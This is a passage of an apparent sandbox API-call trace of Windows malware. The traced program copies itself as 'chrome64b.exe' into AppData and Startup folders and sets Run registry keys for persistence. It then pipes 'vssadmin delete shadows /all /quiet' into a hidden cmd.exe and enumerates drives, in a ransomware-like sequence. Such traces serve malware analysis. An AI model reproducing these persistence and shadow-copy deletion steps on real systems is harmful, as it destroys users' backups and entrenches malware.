hHeap=0x540000, dwFlags=0x0, lpMem=0x59f0d8 | out: hHeap=0x540000) returned 1 [0254.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2030020 [0254.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.017] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579bc8 [0254.017] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.017] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579b78 [0254.017] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0254.017] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0254.017] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0254.017] lstrlenW (lpString="kernel32.dll") returned 12 [0254.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0254.017] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0254.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0254.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0255.250] ReadFile (in: hFile=0xe0, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0255.257] WriteFile (in: hFile=0xe4, lpBuffer=0x2030020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0255.259] ReadFile (in: hFile=0xe0, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0255.259] CloseHandle (hObject=0xe4) returned 1 [0255.260] CloseHandle (hObject=0xe0) returned 1 [0255.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0255.260] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579b78 [0255.260] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0255.260] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579bc8 [0255.260] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0255.260] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0255.260] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0255.260] lstrlenW (lpString="kernel32.dll") returned 12 [0255.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0255.260] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0255.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0255.260] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x540000) returned 1 [0255.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0255.264] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579b78 [0255.264] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579b78, Size=0x40) returned 0x57ac90 [0255.264] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac90, Size=0x80) returned 0x5bf100 [0255.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe") returned 59 [0255.264] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0255.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5c) returned 0x57c100 [0255.264] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0255.264] RegSetValueExW (hKey=0xe0, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData=0x57f0c8, cbData=0x76) returned 0x5 [0255.264] RegCloseKey (hKey=0xe0) returned 0x0 [0255.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57c100 | out: hHeap=0x540000) returned 1 [0255.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe") returned 59 [0255.264] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0255.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5c) returned 0x57c100 [0255.264] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0255.264] RegSetValueExW (in: hKey=0xe4, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe", cbData=0x76 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe") returned 0x0 [0255.264] RegCloseKey (hKey=0xe4) returned 0x0 [0255.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57c100 | out: hHeap=0x540000) returned 1 [0255.264] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0255.264] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0255.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f0d8 [0255.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5af0e0 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579b78 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579b78, Size=0x40) returned 0x57ac90 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac90, Size=0x80) returned 0x5bf100 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x57be18 [0255.265] lstrlenW (lpString="") returned 0 [0255.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8c) returned 0x57bf20 [0255.265] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0255.265] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5af0e0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x5af0e0*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0255.265] RegCloseKey (hKey=0xe4) returned 0x0 [0255.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57bf20 | out: hHeap=0x540000) returned 1 [0255.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8c) returned 0x57bf20 [0255.265] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0255.265] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5af0e0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0255.265] RegCloseKey (hKey=0xe4) returned 0x0 [0255.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57bf20 | out: hHeap=0x540000) returned 1 [0255.265] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0255.265] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57be18 | out: hHeap=0x540000) returned 1 [0255.265] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x59f0d8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x6a [0255.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5af0e0 | out: hHeap=0x540000) returned 1 [0255.265] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f0d8 | out: hHeap=0x540000) returned 1 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2030020 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579b78 [0255.265] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.265] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579bc8 [0255.265] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0255.266] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0255.266] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0255.266] lstrlenW (lpString="kernel32.dll") returned 12 [0255.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0255.266] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0255.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0255.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0255.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.266] CloseHandle (hObject=0xe4) returned 1 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579bc8 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579b78 [0255.266] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0255.266] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0255.266] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0255.266] lstrlenW (lpString="kernel32.dll") returned 12 [0255.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0255.266] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0255.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0255.266] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x540000) returned 1 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f0d8 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5af0e0 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579bc8 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579bc8, Size=0x40) returned 0x57ac90 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac90, Size=0x80) returned 0x5bf100 [0255.266] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x57be18 [0255.266] lstrlenW (lpString="") returned 0 [0255.266] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.266] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8c) returned 0x57bf20 [0255.267] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0255.267] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5af0e0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0255.267] RegCloseKey (hKey=0xe4) returned 0x0 [0255.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57bf20 | out: hHeap=0x540000) returned 1 [0255.267] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0255.267] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57be18 | out: hHeap=0x540000) returned 1 [0255.267] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x59f0d8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x4b [0255.267] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5af0e0 | out: hHeap=0x540000) returned 1 [0255.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f0d8 | out: hHeap=0x540000) returned 1 [0255.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2030020 [0255.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.268] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579bc8 [0255.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.268] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579b78 [0255.268] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0255.268] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0255.268] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0255.268] lstrlenW (lpString="kernel32.dll") returned 12 [0255.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0255.268] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0255.268] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0255.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0255.268] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.268] CloseHandle (hObject=0xe4) returned 1 [0255.268] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579b78 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x579bc8 [0255.269] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0255.269] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0255.269] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0255.269] lstrlenW (lpString="kernel32.dll") returned 12 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0255.269] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x540000) returned 1 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57f0c8 | out: hHeap=0x540000) returned 1 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f0d0 | out: hHeap=0x540000) returned 1 [0255.269] lstrlenW (lpString="%windir%\\System32") returned 17 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ac00 | out: hHeap=0x540000) returned 1 [0255.269] lstrlenW (lpString="%appdata%") returned 9 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554648 | out: hHeap=0x540000) returned 1 [0255.269] lstrlenW (lpString="%sh(Startup)%") returned 13 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554620 | out: hHeap=0x540000) returned 1 [0255.269] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57ac48 | out: hHeap=0x540000) returned 1 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x554620 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554620, Size=0x40) returned 0x57ac48 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac48, Size=0x80) returned 0x5bf100 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x554620 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fffc) returned 0x57f0c8 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f0d0 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5af0d8 [0255.269] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d80 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d80, Size=0x20) returned 0x554648 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554648, Size=0x40) returned 0x57ac48 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac48, Size=0x80) returned 0x5bf188 [0255.269] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf188, Size=0x100) returned 0x57be18 [0255.269] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57be18 | out: hHeap=0x540000) returned 1 [0255.269] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x59f0d0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0255.269] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5af0d8 | out: hHeap=0x540000) returned 1 [0255.270] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f0d0 | out: hHeap=0x540000) returned 1 [0255.271] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0255.276] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0255.276] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0255.276] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0255.276] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x660, dwThreadId=0x664)) returned 1 [0256.124] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0256.124] WriteFile (in: hFile=0xec, lpBuffer=0x5bf100*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x5bf100*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0256.125] CloseHandle (hObject=0xfc) returned 1 [0256.125] CloseHandle (hObject=0xf8) returned 1 [0256.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57f0c8 | out: hHeap=0x540000) returned 1 [0256.125] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0256.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bf100 | out: hHeap=0x540000) returned 1 [0256.125] lstrlenW (lpString="%comspec%") returned 9 [0256.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554620 | out: hHeap=0x540000) returned 1 [0256.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0256.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574d80 [0256.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x574d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0256.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x5794c0 [0256.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5794c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0256.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d98 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d98, Size=0x20) returned 0x554620 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554620, Size=0x40) returned 0x57ac48 [0256.126] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0256.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x57be18 [0256.126] GetLogicalDrives () returned 0x4 [0256.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10014) returned 0x57f0c8 [0256.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d98 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d98, Size=0x20) returned 0x554620 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554620, Size=0x40) returned 0x57acd8 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57acd8, Size=0x80) returned 0x5bf100 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x57d410 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57d410, Size=0x200) returned 0x57d410 [0256.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57d410, Size=0x400) returned 0x57d410 